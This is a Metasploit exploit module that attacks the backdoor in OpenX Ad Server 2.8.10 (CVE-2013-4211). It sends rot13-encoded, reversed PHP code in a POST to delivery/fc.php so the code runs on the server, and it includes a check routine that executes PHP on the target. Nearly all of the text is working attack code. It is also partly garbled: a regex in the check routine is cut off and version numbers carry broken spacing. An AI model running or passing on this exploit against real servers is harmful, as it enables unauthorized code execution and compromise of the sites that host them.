|
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super (update_info(info,
'Name' => 'OpenX Backdoor PHP Code Execution' ,
'Description' => %q{
OpenX Ad Server version 2 . 8 . 10 was shipped with an obfuscated
backdoor since at least November 2012 through August 2013 .
Exploitation is simple, requiring only a single request with a
rot13'd and reversed payload.
},
'Author' =>
[
'egypt' ,
'Unknown' ,
],
'License' => MSF_LICENSE ,
'References' => [
[ 'CVE' , '2013-4211' ],
],
'Privileged' => false ,
'Payload' =>
{
'DisableNops' => true ,
'Space' => 262144 ,
},
'DisclosureDate' => 'Aug 07 2013' ,
'Platform' => 'php' ,
'Arch' => ARCH_PHP ,
'Targets' => [[ 'Generic (PHP payload)' , { }]],
'DefaultTarget' => 0 ))
register_options([
OptString. new ( 'TARGETURI' , [ true , "The URI to request" , "/openx/" ]),
], self . class )
end
def check
token = rand_text_alpha( 20 )
response = execute_php( "echo '#{token} '.phpversion();die();" )
if response. nil ?
CheckCode::Unknown
elsif response.body =~ /
print_status( "PHP Version #{$1}" )
return CheckCode::Vulnerable
end
return CheckCode::Safe
end
def exploit
execute_php(payload.encoded)
handler
end
def execute_php(php_code)
money = rot13(php_code.reverse)
begin
response = send_request_cgi( {
'method' => "POST" ,
'global' => true ,
'uri' => normalize_uri(target_uri.path, "www" , "delivery" , "fc.php" ),
'vars_get' => {
'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js" ,
'script' => 'deliveryLog:vastServeVideoPlayer:player'
},
'vars_post' => {
'vastPlayer' => money
},
}, 0 . 1 )
rescue ::Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue ::OpenSSL:: SSL ::SSLError
fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?" )
end
response
end
def rot13(str)
str.tr! "A-Za-z" , "N-ZA-Mn-za-m"
end
end
|